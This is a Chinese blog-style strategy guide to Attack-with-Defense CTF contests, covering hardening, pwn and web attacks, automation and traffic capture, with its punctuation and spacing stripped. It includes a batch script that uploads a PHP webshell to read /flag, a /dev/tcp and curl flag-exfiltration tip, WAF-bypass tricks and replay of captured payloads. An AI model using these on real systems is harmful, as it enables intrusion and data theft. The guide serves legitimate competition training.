打过AWDAttack with Defense的兄弟都知道这玩意儿根本不是正经做题而是“大逃杀”。刚开局排行榜上别人分数狂飙自己这边服务还没Check完就被打穿了手忙脚乱不知道先攻还是先防好不容易找到个洞手动交flag手速太慢被对手抢了先防守的时候一刀切直接把漏洞代码删了或者拔网线结果服务Check失败疯狂掉分最搞心态的是自动化脚本还在本地调bug比赛时间已经到了……今天不扯CTF那些纯解题的虚头巴脑纯从AWD赛场老鸟的视角把攻防赛的落地打法掰碎了讲。全篇只讲实操代码命令直接复制帮你把分数稳住、把对手打趴。一、 AWD通用作战五步法踩准时间节点AWD打的是时间差节奏乱了直接白给。记住以下五个阶段严格按优先级执行0-5分钟开局信息收集与备份优先级最高动作拿到源码和初始密码立刻tar -zcvf打包备份源码和数据库立刻修改SSH、数据库、后台的弱口令原因不备份等会儿被对手搞挂了或者自己改崩了连恢复的机会都没有。5-15分钟防御加固打底优先级极高动作上全局WAF、加文件监控、部署流量抓取脚本。原因先活下来再想杀人。开局前15分钟是别人打你最狠的时候。15-30分钟漏洞挖掘与手动攻击优先级高动作快速审计源码找到1-2个核心漏洞RCE/SQLi/文件上传手动打通第一个靶机拿到flag。原因手动拿首血确认漏洞利用路径为后续写脚本做准备。30分钟-比赛结束自动化批量拿flag优先级核心动作把手动利用过程写成Python/Shell脚本多线程循环批量打所有队伍自动提交flag。原因AWD拼的就是脚本效率手动交flag必死无疑。全程贯穿实时监控与反制优先级持续动作盯紧流量监控看别人怎么打你的抓别人的Payload直接复用“借刀杀人”。二、 六大核心攻防方向深度专项1. Web漏洞攻击注入/上传/命令执行[时间维度]开局手动试洞中期脚本批量刷。[操作维度]前期手动BurpSuite后期全量Python脚本。[风险维度]风险较低但Payload太猛可能导致对方服务502宕机不扣分但影响自己拿分。【攻击思路与手法】AWD的Web题通常是PHP/Java漏洞集中在SQL注入、文件上传、命令执行RCE。不要想着去挖0day直接看源码找可控参数。重点看$_GET,$_POST,$_COOKIE以及文件操作函数。【拿flag关键操作】RCE直接system(cat /flag)或eval(system(cat /flag);)。SQLi如果是MySQL用load_file(/flag)如果不出数据尝试写shell或者堆叠注入执行系统命令。文件上传传PHP一句话用蚁剑/冰蝎连上去读flag。【防御加固方案】上传漏洞直接干掉上传功能或者把上传目录权限设为不可执行chmod -x。命令执行用白名单限制可执行命令或者用escapeshellarg()强转参数。注入强制使用预编译PDO或者在入口文件加全局过滤。【常见踩坑点】没考虑环境变量system(cat /flag)失败因为PATH被改了。对策用绝对路径/bin/cat /flag。批量脚本没做异常处理遇到一个队服务挂了整个脚本卡死。【赛场实战技巧】写批量脚本时把目标IP列表做成动态读取千万别硬编码。遇到WAF拦截尝试用chr()拼接、base64编码或者分块传输Chunked绕过。2. Pwn二进制攻击[时间维度]开局逆向找洞中期调exp后期批量。[操作维度]纯手动半自动GDB调试Pwntools。[风险维度]风险极高Payload没对齐libc或者越界直接把对方服务打崩宕机。【攻击思路与手法】AWD的Pwn题通常保护全开PIE, Canary, NX。核心思路是找溢出点 - 泄露libc基址 - 计算system/bin_sh地址 - 构造ROP链。如果是堆题重点看UAFUse After Free或Double Free。【拿flag关键操作】打通后拿到shell直接cat /flag。如果没回显用cat /flag /dev/tcp/你的IP/端口弹回来或者用curl外带。【防御加固方案】编译保护如果是自己编译加上-z now -fPIE -fstack-protector-all。运行时保护用socat做转发限制每个IP的连接频率或者写个守护进程服务挂了秒重启。LD_PRELOAD劫持写个hook脚本劫持system或execve把执行命令重定向到写flag的操作慎用容易把自己搞死。【常见踩坑点】对方环境libc版本和你本地不一样exp直接打飞把服务搞崩。没做重试机制网络抖动导致exp失败。【赛场实战技巧】exp里一定要加try-except和自动重试。如果对方libc未知先写个“探测脚本”泄露libc版本后再动态生成最终exp。打的时候先拿一个队测试确认不崩服务了再批量。3. Web防御加固[时间维度]开局死磕中期微调后期看戏。[操作维度]手动改代码/配环境。[风险维度]风险极高加固过度比如正则写错导致正常请求被拦截Check直接挂掉疯狂掉分。【攻击思路与手法】此部分为防御视角攻击思路即“如何绕过自己的防御”思考对手会怎么绕过你的WAF。比如你过滤了select对手用sElEcT大小写绕过你过滤了空格对手用/**/绕过。【防御加固方案】改弱口令开局第一件事把SSH、数据库、后台admin密码全改成强密码大小写数字特殊字符。全局WAF在PHP入口文件如index.php头部引入全局过滤脚本拦截eval,system,exec,phpinfo等关键字。文件监控写个脚本每分钟比对Web目录文件的MD5发现新增或修改立刻告警并自动恢复备份。【常见踩坑点】直接rm -rf删掉漏洞文件导致路由报错服务Check失败。正则过滤太严格把正常的业务参数比如包含select字样的文章标题给拦截了。【赛场实战技巧】白名单机制大于黑名单能限制死参数类型的如ID只能是数字就用intval()强转。改代码前必须、一定、绝对要先备份加个auto_prepend_file全局引入WAF比改每个文件快得多。4. Pwn防御与保护[时间维度]开局配环境中期监控后期不管。[操作维度]手动配脚本/改二进制。[风险维度]风险中等主要是保护机制可能导致自己的exp也打不通。【攻击思路与手法】防御视角假设对手拿到了你的二进制文件他们会怎么逆向如何防止他们轻易拿到shell【防御加固方案】加壳/混淆如果允许用UPX加壳或者用OLLVM混淆耗时较长看赛制。限制执行用seccomp限制系统调用只允许read,write,open禁掉execve和system。蜜罐/假Flag在/flag放个假文件真flag放内存里或者动态生成。对手读到的永远是假flag。【常见踩坑点】自己加了seccomp保护结果把自己的正常业务逻辑搞崩了。重启脚本写错了导致服务一直起不来。【赛场实战技巧】写个健壮的restart.sh守护脚本。如果赛制允许保留一个没开保护的测试端口给自己用方便后期调试exp。把真flag藏在深一点的路径或者用脚本动态写入/tmp/下。5. 自动化攻击脚本[时间维度]中期主力输出后期疯狂收割。[操作维度]纯脚本Python/Shell。[风险维度]风险低但IP写错可能打到自己或裁判机直接被判作弊。【攻击思路与手法】把前面手动打通的漏洞封装成自动化脚本。核心是读取IP列表 - 构造Payload - 发送请求 - 正则提取flag - 调用API提交。【防御加固方案】防御视角如何防止对手用脚本薅你限制单IP访问频率在页面里加隐藏的动态Token对手脚本如果不解析HTML直接发包就会失败。【常见踩坑点】硬编码脚本里写死了URL和参数换个题就废了。没做去重同一个flag提交多次被裁判机封IP。没加超时遇到对方服务无响应脚本一直卡死。【赛场实战技巧】直接上现成的AWD框架如AWD-Team-Framework或自己写的基于requests和pwnlib的模板。核心代码骨架Pythonimportrequestsimportreimportthreadingdefsubmit_flag(flag):# 对接裁判机API提交flagurlhttp://10.0.0.1/submitdata{flag:flag}requests.post(url,datadata)defattack(target_ip):try:urlfhttp://{target_ip}/upload.php# 你的payloadfiles{file:(shell.php,b?php system(cat /flag); ?)}rrequests.post(url,filesfiles,timeout3)# 访问shell拿flagr2requests.get(fhttp://{target_ip}/uploads/shell.php,timeout3)flagre.findall(rflag\{.*?\},r2.text)ifflag:submit_flag(flag[0])exceptExceptionase:print(fError on{target_ip}:{e})# 多线程批量执行ips[10.0.0.2,10.0.0.3,10.0.0.4]threads[]foripinips:tthreading.Thread(targetattack,args(ip,))threads.append(t)t.start()6. 流量监控与反制[时间维度]开局抓包中期分析后期反制。[操作维度]手动分析脚本提取。[风险维度]风险中等抓错包或者反制脚本写错容易误伤自己。【攻击思路与手法】防御视角对手在打你你怎么知道怎么反击【防御加固方案】流量抓取开局立刻部署tcpdump或tshark把所有经过网卡的数据包存成pcap文件。流量分析写个Python脚本实时读取pcap提取HTTP POST数据找出对手的Payload。反制重放/假Flag拿到对手的exp后直接改IP去日其他队借刀杀人或者写个脚本检测到对手在读flag动态返回假flag消耗对方的提交次数。【常见踩坑点】流量文件太大把磁盘撑爆了。没过滤掉自己的流量分析半天发现是自己脚本在发包。【赛场实战技巧】开局必敲命令# 抓取所有TCP流量按时间分割文件防止单文件过大tcpdump-ieth0-w/tmp/traffic_%H%M.pcaptcp port 80 or tcp port 8080写个简单的Python脚本用scapy或dpkt库每隔1分钟解析一次最新的pcap把包含POST请求的Body提取出来存到payloads.txt人工或脚本快速筛选出能用的exp。三、 新手参赛高频错误与避坑指南只攻不防被偷家全队在后面吭哧吭哧写exp回头一看排行榜自己家底裤都被扒光了服务全挂。避坑必须留一个人专职防守和看流量防御过度导致服务不可用发现SQL注入直接把整个数据库连接代码删了发现文件上传直接把upload目录权限设为000。结果Check一跑服务不可用狂掉分。避坑修复漏洞要精准改完代码必须自己手动访问一遍确认业务正常flag提交不及时手动拿到flag去网页上复制粘贴等填完对手已经提交了。避坑必须写自动提交脚本或者至少把裁判机的提交API摸熟写个快捷脚本。脚本硬编码不灵活脚本里写死了http://192.168.1.10/flag.php换个题或者换个IP就报错。避坑所有IP、端口、路径全部做成参数或配置文件读取。不看流量被对手薅羊毛对手在疯狂扫你你毫无察觉等发现的时候flag已经被拿完了。避坑流量监控脚本必须开机自启且设置告警比如发现异常POST立刻弹窗或发声。时间分配策略总结前30分钟70%精力防御30%精力找洞。30-60分钟50%精力写自动化脚本50%精力修补丁和看流量。最后1小时80%精力跑脚本刷分、修补丁20%精力互相反制。四、 个人实战总结AWD不是个人英雄主义是团队配合的绞肉机。送给大家十六个字这也是无数次熬夜打比赛换来的血泪教训防御先立住、攻击要批量、脚本是核心、节奏定胜负。服务挂了一切白搭手动拿分必死无疑没有脚本只能挨打节奏一乱满盘皆输。希望这篇实战复盘能帮大家在接下来的AWD比赛中少踩坑、多拿分把把MVP博主互动兄弟们你们在AWD赛场上遇到过最离谱的“死法”是什么或者有什么独门的“阴间”防守套路/自动化神器欢迎在评论区留言吐槽交流如果觉得这篇实战指南有用别忘了点赞、收藏、转发给你们的战队队友咱们赛场见真章